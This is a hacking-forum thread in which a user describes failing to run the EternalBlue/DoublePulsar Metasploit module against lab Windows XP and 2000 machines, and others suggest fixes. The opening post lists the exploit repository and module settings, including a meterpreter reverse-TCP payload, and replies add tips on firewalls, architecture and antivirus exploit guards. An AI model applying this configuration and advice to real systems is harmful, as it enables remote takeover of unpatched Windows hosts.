Hack Forums
Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] (/showthread.php?tid=6054781)



Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - Max_Troy3 - Mar 5, 2020

Hi Forum,

Has anyone ever actually managed to use this vulnerability to root a Windows XP or Windows 7 machine? Is there some special config needed on the target? I have enabled all windows components and subcomponents.

I've been fiddling about with it in my lab with metasploit and just cannot get it to work. I have a Windows XP and Windows 2000 box that I have tested with so far. Haven't yet tried Windows 7 but it should still work on XP.

I have double, triple checked everything and as far as I can see it should work. But it doesnt. I can see port 445 listening on each of the targets from my Kali machine.

Im using this exploit:
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

In metasploit I loaded the module and set the following:
RHOST <target>
RPORT 445
PAYLOAD windows/meterpreter/reverse_tcp
TARGET 0
LHOST <source>
PROCESSINJECT explorer.exe
ARCHITECTURE <default (x86)>

When I ran the metasploit scan for this vulnerability both machines came back as vulnerable to it.

Metasploit returns "Error getting output back from Core; aborting"

It would be really nice to see an exploit actually work.


RE: Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - ether - Mar 5, 2020

Have you enabled the firewall on the windows machine? If yes the exploit probably won't work. If you disable the windows firewall it will surely work. Hope I helped.


RE: Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - CyberStrike - Mar 5, 2020

Are we sure that these are in fact x86 (32 bit) machines? Are you able to connect to said machine, for example a quick ping? A quick look at the code of that repo, this is using WINE as well, hmm..

Edit: If you have security products include that as well, some AVs have exploit guards. So tell us the product(s) as well.


RE: Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - Max_Troy3 - Mar 17, 2020

(Mar 5, 2020 03:30 AM)ether Wrote:  Have you enabled the firewall on the windows machine? If yes the exploit probably won't work. If you disable the windows firewall it will surely work. Hope I helped.

The firewall is disabled. I have run a port scan and can see port 445 and 139 open.

(Mar 5, 2020 04:34 AM)CyberStrike Wrote:  Are we sure that these are in fact x86 (32 bit) machines? Are you able to connect to said machine, for example a quick ping? A quick look at the code of that repo, this is using WINE as well, hmm..

Edit: If you have security products include that as well, some AVs have exploit guards. So tell us the product(s) as well.

Yes 100% the XP machine is 32 bit. Yes I can ping it.

I am wondering if the version of metasploit is a mis match with the actual exploit although don't think so because this particular exploit is present in the DB with the release of Metasploit 5.

I would really like to see this working. Any ideas please? Im still stuck with it.


RE: Eternal Blue Double Pulsar [CVE-2017-0144] [CVE-2017-0145] [MS17-010] - compalabee - Mar 17, 2020

(Mar 5, 2020 03:25 AM)Max_Troy3 Wrote:  I have double, triple checked everything and as far as I can see it should work. But it doesnt. I can see port 445 listening on each of the targets from my Kali machine.

When WannaCry started to spread, Microsoft went against protocol and updated XP machines even after end-of-life. EternalBlue is that serious.

There's a chance those machines you have got their SMB's patched. If not, check if the SMB service is open on your machines. If I recall correctly, it's the services.msc app. Force open your SMB port. Also if I recall correctly, the exploit needs a home group to propagate.